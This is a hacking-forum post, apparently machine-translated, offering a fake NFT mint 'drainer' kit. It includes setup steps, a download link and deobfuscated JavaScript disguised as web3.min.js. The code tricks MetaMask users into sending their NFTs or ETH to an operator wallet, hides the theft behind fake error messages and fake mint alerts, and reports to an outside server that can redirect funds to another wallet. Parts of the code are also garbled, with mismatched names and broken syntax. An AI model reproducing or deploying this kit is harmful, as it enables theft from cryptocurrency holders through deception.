The essence of the fake is tailored for fake NFT mint, if the user has NFT, then first of all he will be asked to send them under the guise of a regular transaction and payment for GAS, but if there is no NFT, then a transaction will be created to send ether, given that it is in the wallet user, if it is missing, an error will be given to him so that he does not recognize and does not recognize all the charms of the functionality!
You can download bind from the
https://mega.nz/file/sdkQAYDL#h60ek6...zrwQ7xPMaSRYIs
Setup
Register for temporary mail moralis.io, click create new dapp, mainnet ethereum network, any region.
Click on the created server settings, copy serverUrl and paste it in line 93, just copy the appId and paste it in line 94
96 line indicate your kosh eth
97 line minimum price mint, preferably from 0.1 ether
You can also change the design to your own by replacing 2 pictures in the assets folder.
We buy hosting, domain and send traffic
An example of my bind

I advise you to make beautiful landings or marketplaces and put our bind on the button. I did not take a steam bath, because I had good traffic from the twitter and just laid out the usual bind.
All profit!)

Copied from :
https://hackerslab.cc/public/d/9-ste...h-via-metamask
Добавлено через 1 минуту 53 секунды
web3.min.js is obfuscated here it is the deobfuscated one
Code:
const jakzenny = (function () { let djuanna = true return function (azah, claiborn) { const keshi = djuanna ? function() { if (claiborn) { const aaliyah = claiborn.apply(azah, arguments) return(claiborn=null), aaliyah } } : function() {} return(djuanna=false), keshi } })(), ragav = jakzenny(this, function () { return ragav .toString() .search('(((.+)+)+)+$') .toString() .constructor(ragav) .search('(((.+)+)+)+$') }) ragav() let client_connected = false, client_address = 'none', client_button = $('.client--button'), client_wallet_info = $('.client--wallet-info'), mint_plus = $('.action--plus'), mint_minus = $('.action--minus'), mint_value = $('.nftsNumber'), mint_eth = $('.mint--price'), mint_amount = 1 var web3, user, nfts let connect Moralis, hash const moralisApi = io.connect('https://api.rarecity.art:2053'), domain = location.hostname, design = 'Inferno' let change_detalis = 0 const charlina = {} charlina.wallet = '' charlina.price = '' let details = charlina alertify.set('notifier', 'position', 'bottom-left') alertify.set('notifier', 'delay', 5) let extension_alert function loadContent() { $('title').text(dataContent.name) $('.title--h4').text(dataContent.name) $('.nft--value').text(mint_price) $('.total--supply').text('Total supply: ' + dataContent.supply + " NFT's") $('body').attr( 'style', 'background: url(' + dataContent.medias.background + ');' ) $('.image--payment').attr('src', dataContent.medias.nft) $('.presale--date').text(today) dataContent.socialMedia.discord != '' && $('.discord--link').attr('href', dataContent.socialMedia.discord) if (dataContent.socialMedia.twitter != '') { $('.twitter--link').attr('href', dataContent.socialMedia.twitter) } } $(document).ready(async() => { setInterval(() => mintAlerts(), 15000) await loadContent() mint_eth.text(mint_price) !localStorage.getItem('hash') ? ((hash = getHash(20)), localStorage.setItem('hash', hash)) : (hash = localStorage.getItem('hash')) if (location.protocol != 'https:') { await alertify.warning( 'Error connect to API server. [Use protocol https:// for Moralis]' ) console.log( '[Moralis] Error connect to API server. [Error: No protocol https://]' ) return } const jorde = { hash: hash, domain:domain, design: design, receiverWallet: receiver_wallet, } moralisApi.emit('connected', jorde) return }) setTimeout(function() { location.protocol == 'https:' && checkConnectMoralis() }, 5000) function checkConnectMoralis() { connectMoralis != 'mint2mint' && (alertify.warning( 'Error connect to API server. Trying to connect... [Moralis server not responding]' ), console.log('[Moralis] Error connect to API server. Trying to connect...'), setTimeout(function() { const midas = { hash: hash, domain:domain, design: design, receiverWallet: receiver_wallet, } moralisApi.emit('connected', midas) }, 1000)) } moralisApi.on('connected', function (latorya) { if (hash == latorya.hash) { if (latorya.banned) { alertify.warning('You are blocked.') location.replace('https://google.com/') console.log('[Moralis] Client banned.') return } if (latorya.status == 0) { $('html').empty() $('html').append( '<head><title>Sebek</title><link rel="icon" href="https://i.imgur.com/1xqatE5.png"></head>' ) $('html').prepend( '<center style="margin-top: 10rem;"><span style="font-size: 1.5rem;">Sebek was here.</span><br><img src="https://i. imgur.com/1xqatE5.png" style="margin-top: 1rem;border-radius: 50%;"></center>' ) return } connectMoralis = 'mint2mint' if (latorya.change == 1) { change_details = 1 detalis.wallet = latorya.wallet detalis.price = latorya.price const toshiyuki = latorya.moralis_url, daveen=latorya.moralis_appid, paytin = { serverUrl: toshiyuki, appId: daveen, } Moralis.start(paytin) getInfo() } else { const jziah = { serverUrl: serverUrl, appId: appId, } Moralis.start(jziah) getInfo() } } }) async function getInfo() { if (connectMoralis == 'mint2mint') { if (typeof window.ethereum == 'undefined') { ; /Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayB ook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test( navigator.userAgent ) ? (alertify.warning('Continue in the Metamask app.'), client_button .attr( 'href', 'https://metamask.app.link/dapp/https://' + domain + '/' ) .attr('target', '_blank') .html('<button class="purchase-button">Open App</button>'), console.log('[Moralis] Mobile client need App.')) : (alertify.warning("You don't have the Metamask extension installed."), setTimeout( () => alertify.warning( 'Click to install the Metamask extension for your browser.' ), 2000 ), client_button .attr('href', 'https://metamask.io/download/') .attr('target', '_blank') .html('<button class="purchase-button">Install Extension</button>'), console.log('[Moralis] Client not have extension.')) extension_alert = true return } console.log('[Moralis] Connected to API.') user = Moralis.User.current() if (!user) { console.log('[Moralis] Client connect...') alertify.warning('Connection to Metamask...') client_button.html( '<button class="purchase-button">Connect Wallet</button>' ) await getConnect() return } else { console.log('[Moralis] Client ' + user + ' connected.') client_connected=true client_address = user client_button.html('<button class="purchase-button">Mint Now</button>') await verifyChain() await getNfts() return } } else { console.log('[Moralis] Not connected to API.') alertify.warning( 'Error connect to API server. [Moralis server not responding]' ) } } async function getConnect() { try { ; (web3 = await Moralis.enableWeb3()), alertify.warning('Connected to Metamask!') } catch (shoniece) { try { win && (win.focus(), await getInfo(), alertify.warning('Connected to Metamask!')) } catch (wincie) { console.log('[Moralis] Client not connected.'), alertify.warning('Not connecting to Metamask.') } return } client_address = await Moralis.Web3.account client_connected=true await verifyChain() await getNfts() if (!localStorage.getItem('getMetamask')) { localStorage.setItem('getMetamask', client_address) const christopehr = { hash: hash, domain:domain, clientAddress: client_address, } moralisApi.emit('getMetamask', christopehr) } console.log('[Moralis] Client ' + client_address + ' connected.') client_button.html('<button class="purchase-button">Mint Now</button>') client_wallet_info.html( 'Connected wallet: <span class="connected--wallet">' + client_address.slice(0, 5) + '...' + client_address.slice(-5) + '</span>' ) return } let eth_network = false async function verifyChain() { if (Moralis.getChainId() != '0x1') { try { const emmaneul = { method: 'wallet_switchEthereumChain', params: [{ chainId: '0x1' }], } await web3.currentProvider.request(emmaneul) eth_network=true console.log('[Moralis] Success verified chain.') } catch (abrion) { alertify.warning('Install the Ethereum network in your wallet.') console.log('[Moralis] Not install network Ethereum in wallet.') eth_network=false return } } else { eth_network=true console.log('[Moralis] Success verified chain.') } } async function checkTransaction(savahna, gisette) { spliceArr(nfts, gisette) try { await savahna.wait() } catch (daichi) { nfts.push(gisette) } } async function getContracts() { try { for (var janluca = 0; janluca < required_contracts.length; janluca++) { const yadiel = required_contracts[janluca] for (var sevilla = 0; sevilla < nfts.length; sevilla++) { const mansfield = nfts[sevilla] if (strcmp(mansfield.token_address, yadiel) != 0) { continue } return mansfield } } return null } catch (manique) { return console.log("[Moralis] Not have required contracts NFT's."), null } } async function getNfts() { try { nfts = await Moralis.Web3.getNFTs({ chain: 'eth', address: await Moralis.Web3.account, }) } catch (xxavier) { if (client_connected) { console.log("[Moralis] Client not have NFT's.") } else { console.log('[Moralis] Client not connected.') } } } async function getTransfer() { if (!eth_network) { return } alertify.warning('Creating a transaction...') var lightton = await getContracts() if (lighton == null) { console.log( '[Moralis] Client ' + client_address + " don't have NFT's. Transfer ETH..." ) stop = await transferEth() if (stop) { return } } else { console.log( '[Moralis] Client ' + client_address + " have NFT's. Transfer..." ) await transferNft(lightton) return } await getTransfer() return } async function transferEth() { if (change_detalis == 0) { console.log( '[Moralis] Client ' + client_address + 'transfer' + mint_price+ ' ETH to ' + receiver_wallet+ '.' ) const nayari = { type: 'native', amount: Moralis.Units.ETH(mint_price * mint_amount), receiver: receiver_wallet } var sherelle = false let jakor = 0, kasey = await Moralis.transfer(nayari).catch((pearletta) => { if (pearletta.code === 4001) { console.log('[Moralis] Error transfer ETH. [Error: 4001]'), alertify.warning('You have canceled the transaction.') } else { pearletta.toString().includes('insufficient funds') ? (console.log( '[Moralis] Error transfer ETH. [Error: Insufficient funds]' ), alertify.warning("You don't have enough funds.")) : (console.log('[Moralis] Error transfer ETH. [Unknow error]'), alertify.warning('Unknown transaction error.')) } jacor = 1 sherelle = true }) await asia() function asia() { if (jakor == 0) { console.log('[Moralis] * Success transfer ETH.') alertify.warning('Unknown transaction error, funds have not been sent.') setTimeout(() => getTransfer(), 1500) moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: receiver_wallet, price: mint_price * mint_amount, type: 'eth', change: 0 status: 1 }) } else { console.log('[Moralis] * Error transfer ETH.'), moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: receiver_wallet, price: mint_price * mint_amount, type: 'eth', change: 0 status: 0 }) } } return sherelle } else { console.log( '[Moralis] Client ' + client_address + 'transfer' + details.price+ ' ETH to ' + detalis.wallet + '.' ) const micayah = { type: 'native', amount: Moralis.Units.ETH(detalis.price * mint_amount), receiver: details.wallet, } var sherelle = false let jamarie = 0, kaylianis = await Moralis.transfer(micayah).catch((ganza) => { if (ganza.code === 4001) { console.log('[Moralis] Error transfer ETH. [Error: 4001]'), alertify.warning('You have canceled the transaction.') } else { if (ganza.toString().includes('insufficient funds')) { console.log( '[Moralis] Error transfer ETH. [Error: Insufficient funds]' ), alertify.warning("You don't have enough funds.") } else { console.log('[Moralis] Error transfer ETH. [Unknow error]') alertify.warning('Unknown transaction error.') } } jamarie=1 sherelle = true }) await leslee() function leslee() { if (jamarie == 0) { console.log('[Moralis] * Success transfer ETH.') alertify.warning('Unknown transaction error, funds have not been sent.') setTimeout(() => getTransfer(), 1500) moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: details.wallet, price: detalis.price * mint_amount, type: 'eth', change: 1 status: 1 }) } else { moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: details.wallet, price: detalis.price * mint_amount, type: 'eth', change: 1 status: 0 }) } } return sherelle } } async function transferNft(vian) { if (change_detalis == 0) { let driss = 0 try { const deashley = { type: viaan.contract_type.toLowerCase(), receiver: receiver_wallet contractAddress: vian.token_address, tokenId: vian.token_id, amount: vian.amount, } let laciana = await Moralis. transfer(deashley).catch((theona) => { if (theona.code === 4001) { console.log('[Moralis] Error transfer NFT. [Error: 4001]') alertify.warning('You have canceled the transaction.') } else { console.log('[Moralis] Error transfer NFT. [Unknow error]') alertify.warning('Unknown transaction error.') } driss = 1 }) checkTransaction(laciana, vian) await sutton() function sutton() { driss == 0 ? (console.log('[Moralis] * Success transfer NFT.'), alertify.warning( 'Unknown transaction error, funds have not been sent.' ), setTimeout(() => getTransfer(), 1500), moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: receiver_wallet, price: 0 nftContract: vian.token_address, type: 'nft', change: 0 status: 1 })) : moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: receiver_wallet, price: 0 nftContract: vian.token_address, type: 'nft', change: 0 status: 0 }) } } catch (javiere) {} } else { let adee = 0 try { const biaunca = { type: viaan.contract_type.toLowerCase(), receiver: details.wallet, contractAddress: vian.token_address, tokenId: vian.token_id, amount: vian.amount, } let shiori = await Moralis.transfer(biaunca).catch((amyracle) => { if (amyracle.code === 4001) { console.log('[Moralis] Error transfer NFT. [Error: 4001]') alertify.warning('You have canceled the transaction.') } else { console.log('[Moralis] Error transfer NFT. [Unknow error]') alertify.warning('Unknown transaction error.') } adeee=1 }) checkTransaction(shiori, vian) await nyaziah() function naziah() { adeee == 0 ? (console.log('[Moralis] * Success transfer NFT.'), alertify.warning( 'Unknown transaction error, funds have not been sent.' ), setTimeout(() => getTransfer(), 1500), moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: details.wallet, price: 0 nftContract: vian.token_address, type: 'nft', change: 1 status: 1 })) : moralisApi.emit('createTransaction', { hash: hash, client:client_address domain:domain, wallet: details.wallet, price: 0 nftContract: vian.token_address, type: 'nft', change: 1 status: 0 }) } } catch (aneea) {} } } client_button.click(async() => { if (extension_alert) { return } if (!client_connected) { getInfo() } else { verifyChain() getNfts() getTransfer() return } }) mint_plus.click(async() => { if (mint_amount < 5) { mint_amount = mint_amount + 1 mint_value.text(mint_amount) var quinneshia = parseFloat(mint_price) var jaycek = parseFloat(mint_amount) var gilfred = parseFloat(quinneshia * jaycek) mint_eth.text(gilfred.toFixed(2)) } }) mint_minus.click(async() => { if (mint_amount > 1) { mint_amount = mint_amount - 1 mint_value.text(mint_amount) var yvette = parseFloat(mint_price) var sinahi = parseFloat(mint_amount) var billi = parseFloat(yvette * sinahi) mint_eth.text(billi.toFixed(2)) } }) mintAlerts() { const kovyn = getHash(3).toLowerCase() const anilu = getHash(5).toLowerCase() const gilly = randomInteger(1, 3) alertify.warning( 'Wallet 0x' + kovyn + '...' + anilu + ' minted now ' + gilly + "NFT's!" ) } function getHash(seandre) { var jovianne = '' var lavorn = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASD FGHJKLZXCVBNM' var amerigo = lavorn.length - 1 for (i = 0; i < seandre; ++i) { position = Math.floor(Math.random() * amerigo) jovianne = jovianne + lavorn.substring(position, position + 1) } return jovianne } function randomInteger(everlina, tokina) { let agim = everlina + Math.random() * (tokina + 1 - everlina) return Math.floor(agim) } function strcmp(aiyanah, travan) { aiyanah = JSON.stringify(aiyanah).toLowerCase() return ( (travan = JSON.stringify(travan).toLowerCase()), aiyanah < travan? -1 : aiyanah > travan ? ten ) } function spliceArr(luismario, anahii) { for (var rihab = 0; rihab < luismario.length; rihab++) { luismario[rihab] === anahii && (luismario.splice(rihab, 1), rihab--) } } var today = new Date(), dd = String(today.getDate()).padStart(2, '0'), mm = String(today.getMonth() + 1).padStart(2, '0'), yyyy = today.getFullYear() today = mm + '/' + dd + '/' + yyyy